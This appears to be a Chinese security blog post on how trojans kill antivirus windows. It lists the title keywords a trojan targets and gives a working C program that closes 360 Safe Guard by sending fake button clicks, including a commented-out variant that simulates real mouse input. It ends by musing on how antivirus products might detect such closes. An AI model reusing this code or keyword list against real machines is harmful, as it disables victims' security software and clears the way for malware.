目前有一种木马,通过遍历桌面窗口并使用GetWindowTextA获取窗口的标题,如果标题中含有以下敏感词语:
杀毒,清理,SREng,worm,卡巴斯基,超级巡警,江民,金山,anti,virus,Firewall,检测,Mcafee,病毒,防火墙,主动防御,微点,防御,绿鹰,木马,瑞星,进程,Process,NOD32,专杀,安全卫士。
则调用PostMessageA发送结束消息关闭对应的窗口,这样安全软件运行不超过一秒就被关闭了,有的杀毒软件启动时可能需要一段时间的初始化,甚至界面还没显示完全就被关闭了。这种关闭方式貌似很合法很合理,可以做到模拟用于点击关闭按钮的效果,因此杀软在对付这一招时可能有些为难了。
如下是一个测试例程,用于关闭360安全卫士的主窗口,不过与上述方法不同的是,这里是找到最右上角的关闭按钮,然后给它发送按键消息。
// Close360Form.cpp : To Colse The 360safe Form
//
#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[]) {
HWND hWnd;
HWND hBtn;
// RECT rect;
// POINT oldPos,newPos;
hWnd = FindWindow("Q360SafeMainClass", "360安全卫士");
if (hWnd == 0) {
MessageBox(0, "Can't Find The Target:360安全卫士", NULL, 0);
return 0;
}
/*
if( !GetWindowRect(hWnd,&rect) )
MessageBox(0,"Fail to Get The Window Rect.",NULL,0);
newPos.x = rect.right - 14;
newPos.y = rect.top + 9;
GetCursorPos(&oldPos); //save the old cursor position
BringWindowToTop(hWnd);
SetCursorPos(newPos.x,newPos.y);
//click the colse button...
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //模拟鼠标左键down
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //模拟鼠标左键up
//try again...
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //模拟鼠标左键down
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //模拟鼠标左键up
SetCursorPos(oldPos.x,oldPos.y);
*/
hBtn = GetDlgItem(hWnd, 0x3E8);
if (hBtn == 0) {
MessageBox(0, "Can't Find The CloseButton", NULL, 0);
return 0;
}
SendMessage(hBtn, WM_LBUTTONDOWN, 0, 0);
SendMessage(hBtn, WM_LBUTTONUP, 0, 0);
return 0;
}
对于上述关闭杀软的手段,我们有什么办法呢?我想杀软内部应该判断一下如果是结束消息则鼠标位置是不是在关闭按钮区域内部.如果是的话则说明是用户点击的可能性会比较大,如果鼠标不在关闭按钮区域内部则说明是通过发送消息直接关闭的可能性就比较大了,这时杀软可以拒绝关闭或作相应的安全措施。
但是问题又来了,如果使用上述代码中注释掉的部分完成关闭360safe的功能,又将怎样对付呢?这可是完全模拟了用户操作啊。